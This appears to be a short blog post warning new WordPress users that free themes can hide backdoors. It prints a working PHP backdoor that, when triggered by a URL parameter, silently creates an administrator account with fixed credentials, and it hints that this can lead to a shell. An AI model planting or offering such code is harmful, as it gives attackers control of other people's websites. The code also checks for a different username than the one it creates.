Some newcomers who have just started using WordPress always like to search online for free themes, but they do not realize that these themes may very well contain backdoors that can easily obtain access to their websites and thereby generate illegal profits.

So I would like to remind those newcomers here: be sure to find legitimate themes. If it is a free version, it is best to choose a theme with an open-source project on GitHub, as this will reduce the likelihood of encountering a backdoor to some extent.

Example

Here is a common piece of backdoor code:

add_action('wp_head', 'my_backdoor');
function my_backdoor() {
    if (md5($_GET['backdoor']) == 'b0f455571f6ae6c30e7521e9bf00b4f2') {
        require('wp-includes/registration.php');
        if (!username_exists('mr_admin')) {
            $user_id = wp_create_user('xinyewl', 'me');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}

As long as PHP triggers this code and a request is made, you can use your password to log in to their backend. Simply log in normally to obtain administrator privileges. In other words, you can even get a shell. I will not say more about the specifics; figure it out yourself.

The username and password I set by default here are:

Username: xinyewl 
Password: me

I will not explain exactly how to use it, also to prevent elementary school students from maliciously implanting it into themes.

That is all. Whatever you do, do not use it for malicious purposes.